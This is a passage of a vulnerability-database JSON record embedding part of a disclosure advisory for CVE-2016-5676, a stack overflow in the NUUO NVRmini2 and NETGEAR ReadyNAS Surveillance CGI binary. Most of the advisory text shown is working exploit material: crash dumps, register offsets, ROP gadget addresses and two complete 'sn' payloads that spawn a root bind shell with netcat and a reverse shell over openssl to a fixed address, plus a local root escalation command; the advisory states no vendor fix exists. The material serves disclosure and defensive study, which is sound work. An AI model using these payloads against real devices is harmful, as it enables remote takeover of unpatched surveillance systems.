aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\n\u003e A core file is generated:\nCore was generated by `/NUUO/bin/cgi_main\u0027. \nProgram terminated with signal SIGSEGV, Segmentation fault. \n#0 0x61616160 in ?? ()\n(gdb) i r\nr0 0x0\t0\nr1 0x0\t0\nr2 0x407aa4d0\t1081779408\nr3 0x407aa9e0\t1081780704\nr4 0x61616161\t1633771873\nr5 0x61616161\t1633771873\nr6 0x61616161\t1633771873\nr7 0x61616161\t1633771873\nr8 0x331fc8\t3350472\nr9 0x1\t1\nr10 0x33db54\t3398484\nr11 0x0\t0\nr12 0x1\t1\nsp 0xbedce528\t0xbedce528\nlr 0x61616161\t1633771873\npc 0x61616160\t0x61616160\ncpsr 0x60000030\t1610612784\n(gdb) \n\nThe request can be sent by an HTTP GET or POST method. \n\n\u003e A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 976\n4444: r4 register content, offset 962\n5555: r5 register content, offset 966\n6666: r6 register content, offset 970\n7777: r7 register content, offset 974\nSSSS: start of stack pointer, offset 992\n\n\u003e On the ReadyNAS Surveillance one additional register (r8) can be controlled:\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 986\n4444: r4 register content, offset 968\n5555: r5 register content, offset 970\n6666: r6 register content, offset 974\n7777: r7 register content, offset 978\n8888: r8 register content, offset 982\nSSSS: start of stack pointer, offset 1002\n\n\u003e Exploit mitigations and constraints\nThe table below shows the exploit mitigation technologies for each target:\n NVRmini2 ReadyNAS\nNX Y Y\nRELRO Partial Partial\nASLR N Y\n\nAn additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). \n\n\u003e Exploitation in the NVRmini2 (firmware v3.0.0):\nThis example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. \n\n0x00018ba0 : pop {r3, lr} ; bx lr -\u003e located at 40684BA0 (first gadget, sets up r3 for the next gadget)\n0x000f17cc : mov r0, sp ; blx r3 -\u003e located at 4075D7CC (second gadget, set up args for system)\n0x00039ffc : system() -\u003e located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)\nPayload (in the stack) -\u003e %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 (\"nc -l -p 4444 -e /bin/sh \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}\n\nExploit for NVRmini2 firmware v3.0.0 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26\n\nOther firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. \n\n\u003e Exploitation on ReadyNAS Surveillance (version v1.1.2):\nTo develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). \n\nThe exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:\n0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -\u003e located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)\n0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -\u003e located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)\n0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)\nPayload: (in the stack) -\u003e %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 (\"mkfifo /tmp/s; /bin/bash -i \u003c /tmp/s 2\u003e\u00261 | openssl s_client -quiet -connect 192.168.133.204:4444 \u003e /tmp/s; rm /tmp/s \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}\n\nExploit for ReadyNAS Surveillance v1.1.2 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26\n\nNote that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. \n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n\nIt is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. \n\n\n\u003e\u003e Fix: \nNETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. \nDo not expose any of these devices to the Internet or any networks with unstrusted hosts. \n\nTimeline:\n28.02.2016: Disclosure to CERT/CC. \n27.04.2016: Requested status update from CERT - they did not receive any response from vendors. \n06.06.2016: Requested status update from CERT - still no response from vendors. \n Contacted Nuuo and NETGEAR directly. NETGEAR responded with their \"Responsible Disclosure Guidelines\", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. \n13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. \n07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. \n17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n04.08.2016: Coordinated disclosure with CERT. \n\n\n\u003e\u003e References:\n[1] https://www.kb.cert.org/vuls/id/856152\n\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business \u003e\u003e\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-5676"
},
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004490"
},
{
"db": "CNVD",
"id": "CNVD-2016-06367"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "VULHUB",
"id": "VHN-94495"
},
{
"db": "VULMON",
"id": "CVE-2016-5676"
},
{
"db": "PACKETSTORM",
"id": "138199"
}
],
"trust": 3.42
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-94495",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=40200",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94495"
},
{
"db": "VULMON",
"id": "CVE-2016-5676"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152",
"trust": 3.8
},
{
"db": "NVD",
"id": "CVE-2016-5676",
"trust": 3.6
},
{
"db": "BID",
"id": "92318",
"trust": 2.7
},
{
"db": "EXPLOIT-DB",
"id": "40200",
"trust": 1.2
},
{
"db": "JVN",
"id": "JVNVU97220922",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004490",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201608-270",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2016-06367",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-94495",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2016-5676",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "138199",
"trust": 0.1
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06367"
},
{
"db": "VULHUB",
"id": "VHN-94495"
},
{
"db": "VULMON",
"id": "CVE-2016-5676"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004490"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-270"
},
{
"db": "NVD",
"id": "CVE-2016-5676"
}
]
},
"id": "VAR-201608-0089",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06367"
},
{
"db": "VULHUB",
"id": "VHN-94495"
}
],
"trust": 1.4138401533333333
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06367"
}
]
},
"last_update_date": "2024-11-23T21:42:53.036000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "ReadyNAS Surveillance",
"trust": 0.8,
